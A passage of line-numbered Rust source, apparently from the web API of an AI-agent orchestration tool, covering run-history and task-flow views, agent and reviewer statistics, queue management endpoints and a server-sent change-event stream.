4564 kind: "unknown",
4565 status: None,
4566 readable: false,
4567 provisional: false,
4568 description:
4569 "This run's record could not be read by this build (written by a different \
4570 magi, or removed), so what kind of attempt it was is unknown."
4571 .to_owned(),
4572 outcome: String::new(),
4573 created_at: None,
4574 pr: None,
4575 exit: RunExit::Unreadable,
4576 attempt: AttemptCost::Unknown,
4577 branch: None,
4578 };
4579 };
4580 let branch = review_branch_of(&s.instruction);
4581 let kind = if resumed {
4582 "resume"
4583 } else if branch.is_some() {
4584 "review"
4585 } else if task.solo || s.candidates.len() == 1 {
4586 "solo"
4587 } else {
4588 "competition"
4589 };
4590 let mut description = match kind {
4591 "resume" => {
4592 format!("Resumed run {short}: the same run carried on instead of competing again.")
4593 }
4594 "review" => format!(
4595 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4596 branch.unwrap_or_default()
4597 ),
4598 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4599 _ => format!(
4600 "Competition: {} candidates judged blind.",
4601 s.candidates.len().max(1)
4602 ),
4603 };
4604 if !resumed && let Some((p, st)) = prior {
4605 description.push_str(&format!(
4606 " A retry: run {p} before it ended {}.",
4607 st.display_label()
4608 ));
4609 }
4610
4611 let status = s.status;
4612 let provisional = matches!(status, RunStatus::Stalled)
4613 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4614 let head = if resumed_later.is_some() {
4615 String::new()
4616 } else {
4617 match status {
4618 RunStatus::Merged => "Merged.".to_owned(),
4619 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4620 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4621 RunStatus::AlreadyInBase => {
4622 "Already in the base: this change landed under other commits, nothing was left to land."
4623 .to_owned()
4624 }
4625 RunStatus::Stalled => {
4626 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4627 .to_owned()
4628 }
4629 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4630 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4631 RunStatus::VerifiedNoop => {
4632 "Verified no-op: the candidates found nothing to change.".to_owned()
4633 }
4634 other if other.done() => format!("Ended {}.", other.display_label()),
4635 other => format!("In progress ({}).", other.display_label()),
4636 }
4637 };
4638 let why = if let Some(k) = resumed_later {
4639 let cause = if s.quota.is_empty() {
4646 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4647 } else {
4648 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4649 };
4650 format!(
4651 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4652 )
4653 } else if s.parked {
4654 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4655 .to_owned()
4656 } else if !status.done()
4657 || matches!(
4658 status,
4659 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4660 )
4661 {
4662 String::new()
4663 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4664 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4665 {
4666 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4667 .to_owned()
4668 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4669 " It left a pull request open, so the task was held for a person rather than retried."
4670 .to_owned()
4671 } else if matches!(status, RunStatus::VerifiedNoop) {
4672 " Held for a person to check the claim.".to_owned()
4673 } else if last {
4674 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4675 } else {
4676 " It spent an attempt, and the task moved on to the next run.".to_owned()
4677 };
4678 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4679 TaskRunView {
4680 n,
4681 id: id.to_owned(),
4682 short,
4683 kind,
4684 status: Some(status.as_str()),
4685 readable: true,
4686 provisional,
4687 description,
4688 outcome: format!("{head}{why}"),
4689 created_at: Some(s.created_at),
4690 pr: s.pr.as_ref().map(|p| p.url.clone()),
4691 exit,
4692 attempt: exit.cost(),
4693 branch: branch.map(str::to_owned),
4694 }
4695}
4696
4697#[derive(Debug, Serialize, PartialEq)]
4699struct FlowNode {
4700 key: String,
4702 kind: &'static str,
4704 label: String,
4705 status: Option<&'static str>,
4708 status_of: &'static str,
4711 note: Option<&'static str>,
4713 run_kind: Option<&'static str>,
4714 detail: Option<String>,
4715 decided: bool,
4717 readable: bool,
4718 href: Option<String>,
4719}
4720
4721#[derive(Debug, Serialize, PartialEq)]
4722struct FlowEdge {
4723 from: String,
4724 to: String,
4725 label: String,
4726 attempt: AttemptCost,
4727}
4728
4729#[derive(Debug, Serialize, PartialEq)]
4730struct FlowView {
4731 nodes: Vec<FlowNode>,
4732 edges: Vec<FlowEdge>,
4733 attempts: usize,
4735 max_attempts: usize,
4736}
4737
4738fn task_flow(
4747 task: &Task,
4748 history: &[TaskRunView],
4749 max_attempts: usize,
4750 origin: Option<&FollowUpOrigin>,
4751) -> FlowView {
4752 let node = |key: &str, kind, label: String| FlowNode {
4753 key: key.to_owned(),
4754 kind,
4755 label,
4756 status: None,
4757 status_of: "run",
4758 note: None,
4759 run_kind: None,
4760 detail: None,
4761 decided: false,
4762 readable: true,
4763 href: None,
4764 };
4765 let mut nodes = Vec::new();
4766 let mut edges: Vec<FlowEdge> = Vec::new();
4767 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4769 let mut n = node(
4770 "chat",
4771 "chat",
4772 format!("Chat {}", crate::queue::short(&link.id)),
4773 );
4774 n.href = Some(link.href);
4775 nodes.push(n);
4776 edges.push(FlowEdge {
4777 from: "chat".to_owned(),
4778 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4779 label: "queued from chat".to_owned(),
4780 attempt: AttemptCost::None,
4781 });
4782 }
4783 if let Some(o) = origin {
4784 let mut n = match &o.parent {
4785 Some(p) => {
4786 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4787 n.status = Some(p.status);
4788 n.status_of = "task";
4789 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4790 n.href = Some(p.href.clone());
4791 n
4792 }
4793 None => {
4794 let mut n = node(
4795 "origin",
4796 "followup",
4797 format!("Follow-up of run {}", o.run.short),
4798 );
4799 n.detail = Some("merged run".to_owned());
4800 n.status = o.run.status;
4801 n.href = o.run.href.clone();
4802 if o.run.href.is_none() {
4803 n.readable = false;
4804 n.note = Some("unreadable");
4805 }
4806 n
4807 }
4808 };
4809 n.decided = true;
4810 let from = n.key.clone();
4811 nodes.push(n);
4812 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4813 let more = o.findings.len().saturating_sub(shown.len());
4814 let label = match (shown.is_empty(), more) {
4815 (true, _) => "open findings".to_owned(),
4816 (false, 0) => format!("open findings {}", shown.join(", ")),
4817 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4818 };
4819 edges.push(FlowEdge {
4820 from,
4821 to: "start".to_owned(),
4822 label,
4823 attempt: AttemptCost::None,
4824 });
4825 }
4826 nodes.push(node("start", "start", "Task queued".to_owned()));
4827 let mut prev = "start".to_owned();
4828 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4829 for (i, h) in history.iter().enumerate() {
4830 let key = format!("run-{}", h.n);
4831 let mut n = node(&key, "run", format!("Run {}", h.short));
4832 n.run_kind = Some(h.kind);
4833 n.readable = h.readable;
4834 n.href = Some(format!("#/runs/{}", h.id));
4835 n.decided = h.readable && !h.provisional;
4836 n.detail = h
4837 .branch
4838 .as_ref()
4839 .map(|b| format!("review-only run of branch {b}"));
4840 match h.exit {
4841 RunExit::Unreadable => n.note = Some("unreadable"),
4842 RunExit::Interrupted => n.note = Some("interrupted"),
4843 _ => {
4844 n.status = h.status;
4845 if h.provisional {
4846 n.note = Some("no verdict");
4847 }
4848 }
4849 }
4850 let into = match h.kind {
4851 "review" => Some(format!(
4852 "review-only run of branch {}",
4853 h.branch.as_deref().unwrap_or("?")
4854 )),
4855 "resume" => Some("resume the same run".to_owned()),
4856 _ if i > 0 => Some("retry".to_owned()),
4857 _ => None,
4858 };
4859 let label = match (prev_exit, into) {
4860 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4861 (Some((e, st)), None) => e.edge_label(st),
4862 (None, Some(i)) => i,
4863 (None, None) => "claimed".to_owned(),
4864 };
4865 edges.push(FlowEdge {
4866 from: prev.clone(),
4867 to: key.clone(),
4868 label,
4869 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4870 });
4871 prev_exit = Some((h.exit, h.status));
4872 prev = key;
4873 nodes.push(n);
4874 }
4875 let mut end = node("end", "end", task.status.as_str().to_owned());
4876 end.status = Some(task.status.as_str());
4877 end.status_of = "task";
4878 nodes.push(end);
4879 let (label, attempt) = match prev_exit {
4880 None => (
4881 format!("no run yet \u{2192} {}", task.status.as_str()),
4882 AttemptCost::None,
4883 ),
4884 Some((e, st)) if e.explains(task.status) => (
4885 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4886 e.cost(),
4887 ),
4888 Some((e, _)) => (
4889 format!("closed by hand: task is {}", task.status.as_str()),
4890 e.cost(),
4891 ),
4892 };
4893 edges.push(FlowEdge {
4894 from: prev,
4895 to: "end".to_owned(),
4896 label,
4897 attempt,
4898 });
4899 FlowView {
4900 nodes,
4901 edges,
4902 attempts: task.attempts,
4903 max_attempts,
4904 }
4905}
4906
4907fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4910 let mut history = Vec::with_capacity(task.runs.len());
4911 let mut seen: Vec<&str> = Vec::new();
4912 let mut prior: Option<(&str, RunStatus)> = None;
4913 for (i, run_id) in task.runs.iter().enumerate() {
4914 let state = read(run_id);
4915 let resumed = seen.contains(&run_id.as_str());
4916 seen.push(run_id);
4917 history.push(task_run_view(
4918 run_id,
4919 state.as_ref(),
4920 RunSlot {
4921 n: i + 1,
4922 resumed,
4923 resumed_later: task.runs[i + 1..]
4924 .iter()
4925 .position(|r| r == run_id)
4926 .map(|off| i + off + 2),
4927 prior,
4928 last: i + 1 == task.runs.len(),
4929 },
4930 task,
4931 ));
4932 if let Some(s) = &state {
4933 prior = Some((run::short_of(run_id), s.status));
4934 }
4935 }
4936 history
4937}
4938
4939async fn task_detail(
4940 State(ui): State<Arc<Ui>>,
4941 Path(id): Path<String>,
4942) -> ApiResult<Json<TaskDetailView>> {
4943 blocking(move || {
4944 let id = resolve_task(&ui.queue, &id)?;
4945 let task = ui
4946 .queue
4947 .get(&id)
4948 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4949 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4950 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4951 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4952 let max_attempts = daemon::Opts::default().max_attempts;
4953 let origin = task.followup.as_ref().map(|fu| {
4954 followup_origin(
4955 fu,
4956 |tid| ui.queue.get(tid).ok(),
4957 |rid| read_run(&ui.runs, rid).ok(),
4958 )
4959 });
4960 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4961 Ok(Json(TaskDetailView {
4962 max_attempts,
4963 flow,
4964 followup_origin: origin,
4965 history,
4966 runs_unreadable,
4967 attempts_note: ATTEMPTS_NOTE,
4968 task: TaskView::with_inventory(task, &inv),
4969 }))
4970 })
4971 .await
4972}
4973
4974#[derive(Debug, Serialize)]
4978struct RateView {
4979 pct: f64,
4980 denominator: usize,
4981}
4982
4983impl RateView {
4984 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4985 (denominator > 0).then(|| Self {
4986 pct: 100.0 * numerator as f64 / denominator as f64,
4987 denominator,
4988 })
4989 }
4990}
4991
4992#[derive(Debug, Serialize)]
4997struct StatsTotalsView {
4998 runs: usize,
4999 merged: usize,
5000 ready: usize,
5001 blocked: usize,
5002 failed: usize,
5003 stalled: usize,
5004 verified_noop: usize,
5005 superseded: usize,
5006 in_progress: usize,
5007 completion_rate: Option<RateView>,
5008 tallied: usize,
5009 split: usize,
5010 split_rate: Option<RateView>,
5011 deliberated: usize,
5012 minds_changed: usize,
5013 converged: usize,
5014 review_rounds: usize,
5015}
5016
5017impl From<&stats::Totals> for StatsTotalsView {
5018 fn from(t: &stats::Totals) -> Self {
5019 Self {
5020 runs: t.runs,
5021 merged: t.merged,
5022 ready: t.ready,
5023 blocked: t.blocked,
5024 failed: t.failed,
5025 stalled: t.stalled,
5026 verified_noop: t.verified_noop,
5027 superseded: t.superseded,
5028 in_progress: t.in_progress,
5029 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5030 tallied: t.tallied,
5031 split: t.split,
5032 split_rate: RateView::of(t.split, t.tallied),
5033 deliberated: t.deliberated,
5034 minds_changed: t.minds_changed,
5035 converged: t.converged,
5036 review_rounds: t.review_rounds,
5037 }
5038 }
5039}
5040
5041#[derive(Debug, Serialize)]
5043struct AgentStatsView {
5044 agent: String,
5045 entered: usize,
5046 wins: usize,
5047 empty: usize,
5048 win_rate: Option<RateView>,
5049 competitive_entered: usize,
5050 competitive_wins: usize,
5051 competitive_win_rate: Option<RateView>,
5052 solo_entered: usize,
5053 solo_adopted: usize,
5054 solo_adoption_rate: Option<RateView>,
5055}
5056
5057impl From<&stats::AgentStats> for AgentStatsView {
5058 fn from(a: &stats::AgentStats) -> Self {
5059 Self {
5060 agent: a.agent.clone(),
5061 entered: a.entered,
5062 wins: a.wins,
5063 empty: a.empty,
5064 win_rate: RateView::of(a.wins, a.entered),
5065 competitive_entered: a.competitive_entered,
5066 competitive_wins: a.competitive_wins,
5067 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5068 solo_entered: a.solo_entered,
5069 solo_adopted: a.solo_adopted,
5070 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5071 }
5072 }
5073}
5074
5075#[derive(Debug, Serialize)]
5079struct ReviewerStatsView {
5080 agent: String,
5081 rounds: usize,
5082 seated: usize,
5083 submitted: usize,
5084 adopted: usize,
5085 unique: usize,
5086 timeouts: usize,
5087 adopted_per_round: Option<f64>,
5088 precision: Option<RateView>,
5089 unique_rate: Option<RateView>,
5090 timeout_rate: Option<RateView>,
5091}
5092
5093impl From<&stats::ReviewerStats> for ReviewerStatsView {
5094 fn from(r: &stats::ReviewerStats) -> Self {
5095 Self {
5096 agent: r.agent.clone(),
5097 rounds: r.rounds,
5098 seated: r.seated,
5099 submitted: r.submitted,
5100 adopted: r.adopted,
5101 unique: r.unique,
5102 timeouts: r.timeouts,
5103 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5104 precision: RateView::of(r.adopted, r.submitted),
5105 unique_rate: RateView::of(r.unique, r.submitted),
5106 timeout_rate: RateView::of(r.timeouts, r.seated),
5107 }
5108 }
5109}
5110
5111#[derive(Debug, Serialize)]
5117struct AdvisorStatsView {
5118 agent: String,
5119 seated: usize,
5120 proposed: usize,
5121 absent: usize,
5122 faint: usize,
5123 strong: usize,
5124 reflection_rate: Option<RateView>,
5125}
5126
5127impl From<&stats::AdvisorStats> for AdvisorStatsView {
5128 fn from(a: &stats::AdvisorStats) -> Self {
5129 Self {
5130 agent: a.agent.clone(),
5131 seated: a.seated,
5132 proposed: a.proposed,
5133 absent: a.absent,
5134 faint: a.faint,
5135 strong: a.strong,
5136 reflection_rate: RateView::of(a.strong, a.proposed),
5137 }
5138 }
5139}
5140
5141#[derive(Debug, Serialize)]
5143struct E2eStatsView {
5144 rounds: usize,
5145 failures: usize,
5146 sole_detections: usize,
5147 deferred: usize,
5148 sole_rate: Option<RateView>,
5149}
5150
5151impl From<&stats::E2eStats> for E2eStatsView {
5152 fn from(e: &stats::E2eStats) -> Self {
5153 Self {
5154 rounds: e.rounds,
5155 failures: e.failures,
5156 sole_detections: e.sole_detections,
5157 deferred: e.deferred,
5158 sole_rate: RateView::of(e.sole_detections, e.failures),
5159 }
5160 }
5161}
5162
5163#[derive(Debug, Serialize)]
5171struct ReleaseBumpStatsView {
5172 merged: usize,
5173 recorded: usize,
5174 pr_opened: usize,
5175 automerge_enabled: usize,
5176 merged_directly: usize,
5177 needs_attention: usize,
5178 clean: usize,
5179 coverage_rate: Option<RateView>,
5180 automerge_rate: Option<RateView>,
5181 attention_rate: Option<RateView>,
5182}
5183
5184impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5185 fn from(b: &stats::ReleaseBumpStats) -> Self {
5186 Self {
5187 merged: b.merged,
5188 recorded: b.recorded,
5189 pr_opened: b.pr_opened,
5190 automerge_enabled: b.automerge_enabled,
5191 merged_directly: b.merged_directly,
5192 needs_attention: b.needs_attention,
5193 clean: b.clean(),
5194 coverage_rate: RateView::of(b.recorded, b.merged),
5195 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5196 attention_rate: RateView::of(b.needs_attention, b.recorded),
5197 }
5198 }
5199}
5200
5201#[derive(Debug, Serialize)]
5203struct TaskCountsView {
5204 queued: usize,
5205 running: usize,
5206 done: usize,
5207 failed: usize,
5208 held: usize,
5209 blocked: usize,
5210 parked: usize,
5211}
5212
5213impl From<crate::queue::TaskCounts> for TaskCountsView {
5214 fn from(c: crate::queue::TaskCounts) -> Self {
5215 Self {
5216 queued: c.queued,
5217 running: c.running,
5218 done: c.done,
5219 failed: c.failed,
5220 held: c.held,
5221 blocked: c.blocked,
5222 parked: c.parked,
5223 }
5224 }
5225}
5226
5227#[derive(Debug, Serialize)]
5233struct RepoSummaryView {
5234 repo: String,
5237 name: String,
5239 runs: usize,
5240 completion_rate: Option<RateView>,
5241}
5242
5243impl From<&stats::RepoStats> for RepoSummaryView {
5244 fn from(r: &stats::RepoStats) -> Self {
5245 let t = &r.stats.totals;
5246 Self {
5247 repo: r.repo.to_string_lossy().into_owned(),
5248 name: r.name.clone(),
5249 runs: t.runs,
5250 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5251 }
5252 }
5253}
5254
5255#[derive(Debug, Serialize)]
5261struct StatsView {
5262 totals: StatsTotalsView,
5263 agents: Vec<AgentStatsView>,
5265 reviewers: Vec<ReviewerStatsView>,
5267 advisors: Vec<AdvisorStatsView>,
5269 e2e: E2eStatsView,
5270 release_bumps: ReleaseBumpStatsView,
5271 queue: TaskCountsView,
5272 runs_unreadable: usize,
5282 repos: Vec<RepoSummaryView>,
5286 daily: Vec<DailyStatsView>,
5291 repo: Option<String>,
5295 retired_hidden: Vec<String>,
5299}
5300
5301#[derive(Debug, Serialize)]
5303struct DailyStatsView {
5304 date: String,
5306 runs: usize,
5307 merged: usize,
5308 ready: usize,
5309 other: usize,
5310 completion_rate: Option<RateView>,
5312}
5313
5314impl From<&stats::DayBucket> for DailyStatsView {
5315 fn from(b: &stats::DayBucket) -> Self {
5316 Self {
5317 date: b.date.to_string(),
5318 runs: b.runs,
5319 merged: b.merged,
5320 ready: b.ready,
5321 other: b.other,
5322 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5323 }
5324 }
5325}
5326
5327const STATS_DAILY_DAYS: usize = 30;
5329
5330#[derive(Debug, Default, Deserialize)]
5339#[serde(default)]
5340struct StatsQuery {
5341 repo: Option<String>,
5342 all: bool,
5344}
5345
5346async fn stats_get(
5353 State(ui): State<Arc<Ui>>,
5354 Query(q): Query<StatsQuery>,
5355) -> ApiResult<Json<StatsView>> {
5356 blocking(move || {
5357 let states: Vec<RunState> = run_ids(&ui.runs)
5358 .into_iter()
5359 .filter_map(|id| read_run(&ui.runs, &id).ok())
5360 .collect();
5361 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5362 .iter()
5363 .map(RepoSummaryView::from)
5364 .collect();
5365 let mut scoped: Vec<&RunState> = states.iter().collect();
5366 let mut collected = match &q.repo {
5367 Some(repo) => {
5368 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5369 if filtered.is_empty() {
5370 return Err(ApiError::not_found(format!(
5371 "no runs recorded against repo `{repo}`"
5372 )));
5373 }
5374 scoped = filtered.clone();
5375 stats::collect_refs(filtered)
5376 }
5377 None => stats::collect(&states),
5378 };
5379 if !q.all {
5380 let repo = q
5381 .repo
5382 .as_deref()
5383 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5384 stats::retain_current_roster(&mut collected, &repo);
5385 }
5386 let daily = stats::daily(
5387 scoped,
5388 jiff::Zoned::now().date(),
5389 &jiff::tz::TimeZone::system(),
5390 STATS_DAILY_DAYS,
5391 );
5392 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5393 Ok(Json(StatsView {
5394 totals: StatsTotalsView::from(&collected.totals),
5395 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5396 reviewers: collected
5397 .reviewers
5398 .iter()
5399 .map(ReviewerStatsView::from)
5400 .collect(),
5401 advisors: collected
5402 .advisors
5403 .iter()
5404 .map(AdvisorStatsView::from)
5405 .collect(),
5406 e2e: E2eStatsView::from(&collected.e2e),
5407 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5408 queue: TaskCountsView::from(queue_counts),
5409 runs_unreadable: runs_unreadable(&ui.runs),
5410 repos,
5411 daily: daily.iter().map(DailyStatsView::from).collect(),
5412 repo: q.repo.clone(),
5413 retired_hidden: collected.retired_hidden.clone(),
5414 }))
5415 })
5416 .await
5417}
5418
5419#[derive(Debug, Default, Deserialize)]
5422#[serde(default, deny_unknown_fields)]
5423struct HoldBody {
5424 reason: Option<String>,
5425}
5426
5427async fn queue_hold(
5428 State(ui): State<Arc<Ui>>,
5429 Path(id): Path<String>,
5430 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5431) -> ApiResult<Json<TaskView>> {
5432 let body = match body {
5436 Ok(Json(body)) => body,
5437 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5438 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5439 };
5440 let reason = body.reason.filter(|r| !r.trim().is_empty());
5441 mutate(ui, id, move |t| {
5442 t.hold_manual(reason.clone());
5443 Ok(())
5444 })
5445 .await
5446}
5447
5448async fn queue_release(
5449 State(ui): State<Arc<Ui>>,
5450 Path(id): Path<String>,
5451) -> ApiResult<Json<TaskView>> {
5452 mutate(ui, id, |t| {
5453 t.release();
5454 Ok(())
5455 })
5456 .await
5457}
5458
5459#[derive(Debug, Deserialize)]
5461#[serde(deny_unknown_fields)]
5462struct PriorityBody {
5463 priority: i32,
5464}
5465
5466async fn queue_priority(
5472 State(ui): State<Arc<Ui>>,
5473 Path(id): Path<String>,
5474 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5475) -> ApiResult<Json<TaskView>> {
5476 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5477 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5478}
5479
5480#[derive(Debug, Deserialize)]
5482#[serde(deny_unknown_fields)]
5483struct EditBody {
5484 title: String,
5485 instruction: String,
5486 #[serde(default)]
5489 force: bool,
5490}
5491
5492async fn queue_edit(
5496 State(ui): State<Arc<Ui>>,
5497 Path(id): Path<String>,
5498 body: std::result::Result<Json<EditBody>, JsonRejection>,
5499) -> ApiResult<Json<TaskView>> {
5500 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5501 let mut judged: Option<(String, PathBuf)> = None;
5505 if !body.force {
5506 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5507 let (id, text) = (id.clone(), body.instruction.clone());
5508 let (seen, hits) = blocking(move || {
5509 let id = resolve_task(&queue, &id)?;
5510 let t = queue.get(&id)?;
5511 if text == t.instruction {
5512 return Ok((None, Vec::new()));
5513 }
5514 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5515 Ok((Some((t.instruction, t.repo)), hits))
5516 })
5517 .await?;
5518 if let Some((_, repo)) = &seen {
5519 let cfg = crate::config::Config::discover(repo, None)
5520 .ok()
5521 .map(|(c, _)| c);
5522 let screened =
5523 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5524 .await
5525 .map_err(|dup| {
5526 ApiError::conflict(dup.render(
5527 "Nothing was saved. If it is not a duplicate, repeat the request \
5528 with \"force\": true.",
5529 ))
5530 })?;
5531 if let crate::dupes::Screened::Unjudged(why) = screened {
5532 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5533 }
5534 }
5535 judged = seen;
5536 }
5537 let force = body.force;
5538 mutate(ui, id, move |t| {
5539 if !force && body.instruction != t.instruction {
5540 match &judged {
5541 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5542 _ => {
5543 anyhow::bail!("the task changed while it was being checked; repeat the request")
5544 }
5545 }
5546 }
5547 t.edit(body.title.clone(), body.instruction.clone())
5548 })
5549 .await
5550}
5551
5552async fn queue_done(
5560 State(ui): State<Arc<Ui>>,
5561 Path(id): Path<String>,
5562) -> ApiResult<Json<TaskView>> {
5563 let home = ui.home.clone();
5564 mutate(ui, id, move |t| {
5565 t.succeed();
5566 crate::daemon::supersede_prior_runs(t, &home);
5574 Ok(())
5575 })
5576 .await
5577}
5578
5579async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5587 blocking(move || {
5588 let id = resolve_task(&ui.queue, &id)?;
5589 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5590 ui.queue
5591 .remove(&id, in_flight, &ui.questions)
5592 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5593 Ok(StatusCode::NO_CONTENT)
5594 })
5595 .await
5596}
5597
5598async fn mutate(
5607 ui: Arc<Ui>,
5608 id: String,
5609 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5610) -> ApiResult<Json<TaskView>> {
5611 blocking(move || {
5612 let id = resolve_task(&ui.queue, &id)?;
5613 let _claim = ui.queue.claim(&id).map_err(|e| {
5618 ApiError::conflict(format!(
5619 "{e:#} - a daemon is running this task, so it cannot be \
5620 changed from here yet"
5621 ))
5622 })?;
5623 let mut task = ui.queue.get(&id)?;
5624 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5625 Ok(dup) => ApiError::conflict(dup.render(
5626 "Nothing was saved. If it is not a duplicate, repeat the request with \
5627 \"force\": true.",
5628 )),
5629 Err(e) => ApiError::bad_request_from(e),
5630 })?;
5631 ui.queue.put(&mut task)?;
5632 Ok(Json(TaskView::from(task)))
5633 })
5634 .await
5635}
5636
5637async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5645 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5646 tokio::spawn(async move {
5647 let mut ticker = tokio::time::interval(POLL);
5648 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5649 let mut stamps: Option<[Stamps; 3]> = None;
5650 loop {
5651 ticker.tick().await;
5654 let state = Arc::clone(&ui);
5655 let revisions = tokio::task::spawn_blocking(move || {
5656 let stamps = [
5657 store_stamps(state.queue.root(), false),
5658 store_stamps(&state.runs, true),
5659 store_stamps(state.talks.root(), false),
5660 ];
5661 let revisions = (
5662 stamps_revision(&stamps[0]),
5663 stamps_revision(&stamps[1]),
5664 state.questions.revision(),
5665 stamps_revision(&stamps[2]),
5666 state.notices.revision(),
5667 state.lock_loop().rev,
5671 );
5672 (revisions, stamps)
5673 })
5674 .await;
5675 let Ok((revisions, next_stamps)) = revisions else {
5676 break;
5677 };
5678 if last == Some(revisions) {
5679 continue;
5680 }
5681 let mut payload = serde_json::json!({
5682 "queue_rev": revisions.0,
5683 "runs_rev": revisions.1,
5684 "questions_rev": revisions.2,
5685 "talks_rev": revisions.3,
5686 "notifications_rev": revisions.4,
5687 "loop_rev": revisions.5,
5688 });
5689 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5690 for (index, (key, rev)) in [
5691 ("queue_delta", base.0),
5692 ("runs_delta", base.1),
5693 ("talks_delta", base.3),
5694 ]
5695 .into_iter()
5696 .enumerate()
5697 {
5698 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5699 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5701 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5702 }
5703 }
5704 }
5705 last = Some(revisions);
5706 stamps = Some(next_stamps);
5707 let Ok(event) = Event::default().event("change").json_data(payload) else {
5709 break;
5710 };
5711 if tx.send(event).await.is_err() {
5712 break;
5713 }
5714 }
5715 });
5716 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5717 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5718}
5719
5720type Stamps = HashMap<String, (u128, u64)>;
5721
5722fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5724 std::fs::read_dir(root)
5725 .into_iter()
5726 .flatten()
5727 .flatten()
5728 .filter_map(|entry| {
5729 let path = if runs {
5730 entry.path().join("run.json")
5731 } else {
5732 entry.path()
5733 };
5734 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5735 return None;
5736 }
5737 let metadata = path.metadata().ok()?;
5738 let modified = metadata
5739 .modified()
5740 .ok()?
5741 .duration_since(std::time::UNIX_EPOCH)
5742 .ok()?;
5743 let id = if runs {
5744 entry.file_name().to_string_lossy().into_owned()
5745 } else {
5746 path.file_stem()?.to_string_lossy().into_owned()
5747 };
5748 Some((id, (modified.as_nanos(), metadata.len())))
5749 })
5750 .collect()
5751}
5752
5753#[derive(Debug, Serialize)]
5754struct Delta {
5755 base: u64,
5756 changed: Vec<String>,
5757 removed: Vec<String>,
5758}
5759
5760fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5761 let mut changed: Vec<_> = next
5762 .iter()
